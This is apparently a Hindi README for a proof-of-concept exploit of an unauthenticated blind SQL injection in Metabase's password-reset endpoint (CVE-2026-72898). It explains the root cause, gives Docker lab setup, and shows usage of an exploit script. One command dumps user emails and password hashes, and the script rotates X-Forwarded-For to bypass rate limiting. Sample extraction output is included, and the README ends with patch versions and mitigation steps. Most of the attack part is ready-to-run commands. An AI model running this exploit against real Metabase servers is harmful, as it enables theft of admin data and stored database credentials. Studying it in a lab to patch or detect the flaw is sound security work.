
अनधिकृत ब्लाइंड SQL इंजेक्शन एक्सप्लॉइट Metabase के लिए, जो पासवर्ड रीसेट एंडपॉइंट में रॉ SQL इंजेक्शन का फायदा उठाकर टाइम-आधारित तकनीकों के माध्यम से डेटा निकालता है।
★ CVE-2026-72898 Metabase /api/session/reset_password बिना प्रमाणीकरण ब्लाइंड SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 Metabase में एक बिना प्रमाणीकरण SQL इंजेक्शन है (CVSS 10.0) जो सार्वजनिक
POST /api/session/reset_passwordएंडपॉइंट के माध्यम से पहुंच योग्य है। एंडपॉइंट अनुरोध बॉडी को (विफल) प्रमाणीकरण परिणाम के साथ मर्ज करता है —(merge request (authenticate ...))— इसलिए हमलावर द्वारा आपूर्ति किया गयाuser-idफ़ील्ड बिना छेड़छाड़ के बच जाता है और एप्लिकेशन-डेटाबेस उपयोगकर्ता लुकअपt2/select-one :model/User :id user-idतक बिना किसी पूर्णांक सत्यापन के पहुंचता है। Metabase HoneySQL के साथ SQL बनाता है, जिसका{:raw "..."}मैप रॉ SQL फ़्रैगमेंट के रूप में संकलित होता है (कोई पैरामीटर बाइंडिंग नहीं)। इसलिएuser-idको{"raw":"<SQL>"}के रूप में भेजने से एप्लिकेशन डेटाबेस में मनमाना SQL इंजेक्ट हो जाता है। एंडपॉइंट हमेशा400लौटाता है, इसलिए इंजेक्शन ब्लाइंड है; डेटा समय-आधारितpg_sleepके साथ प्राप्त किया जाता है (उत्पादन-मानक Postgres एप्लिकेशन DB)। सफल शोषण से Metabase एडमिन डेटा, प्रत्येक संलग्न डेटा स्रोत के लिए संग्रहीत कनेक्शन क्रेडेंशियल्स, और उन डेटाबेस में पूर्ण पिवट प्राप्त होता है।
| श्रेणी | संस्करण |
|---|---|
| कमजोर | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| पैच किया गया | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 या बाद का |
pos-int? जांच जोड़ता है ताकि क्वेरी से पहले गैर-पूर्णांक user-id अस्वीकार कर दिया जाएकमजोर Metabase बनाएं और चलाएं। यह एक Postgres एप्लिकेशन DB का उपयोग करता है (आवश्यक — समय-आधारित तकनीक को pg_sleep चाहिए, जो H2 में नहीं है) और पहली बार सेटअप स्वतः पूरा करता है ताकि यह लॉगिन पेज पर बूट हो। स्टार्टअप में ~40–60 सेकंड लगते हैं।
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| पूर्वशर्त | इस लैब में स्थिति |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Postgres एप्लिकेशन DB (pg_sleep सक्षम करता है) | इमेज में बंडल किया गया |
/api/session/reset_password बिना प्रमाणीकरण पहुंच योग्य | उजागर |
| प्रति-IP रीसेट थ्रॉटल (X-Forwarded-For घुमाकर बायपास) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
एक्सप्लॉइट metabase_exploit.py किसी भी मान को पढ़ता है जिसे आप इंगित करते हैं, बिना किसी क्रेडेंशियल के, समय-आधारित ब्लाइंड प्रिमिटिव का उपयोग करके। यह प्रति-IP दर सीमा को हराने के लिए प्रति अनुरोध एक नया रैंडम X-Forwarded-For भेजता है (जैसा कि वास्तविक दुनिया के हमलों ने किया था)। --extract "<SQL>" के साथ लक्ष्य चुनें।
# डिफ़ॉल्ट: एडमिन ईमेल निकालें
python3 metabase_exploit.py 172.17.0.2:3000
# जो चाहें निकालें (कोई भी SQL स्केलर एक्सप्रेशन)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
विकल्प:
--check — केवल पुष्टि करें कि इंजेक्शन शोषण योग्य है (pg_sleep समय अंतर दिखाता है)--extract "<SQL>" — कोई भी स्केलर SQL एक्सप्रेशन (स्वचालित रूप से टेक्स्ट में कास्ट किया जाता है)--sleep 0.4 — प्रति TRUE बिट देरी (धीमे/दूरस्थ लक्ष्य पर इसे बढ़ाएं)POST /api/session/reset_password को ब्लॉक करेंcore_session) को अमान्य करें, एडमिन खातों और API कुंजियों की समीक्षा करें, और प्रत्येक संलग्न डेटा स्रोत के कनेक्शन क्रेडेंशियल्स को घुमाएं (मान लें कि वे उजागर हुए थे यदि एंडपॉइंट इंटरनेट-पहुंच योग्य था)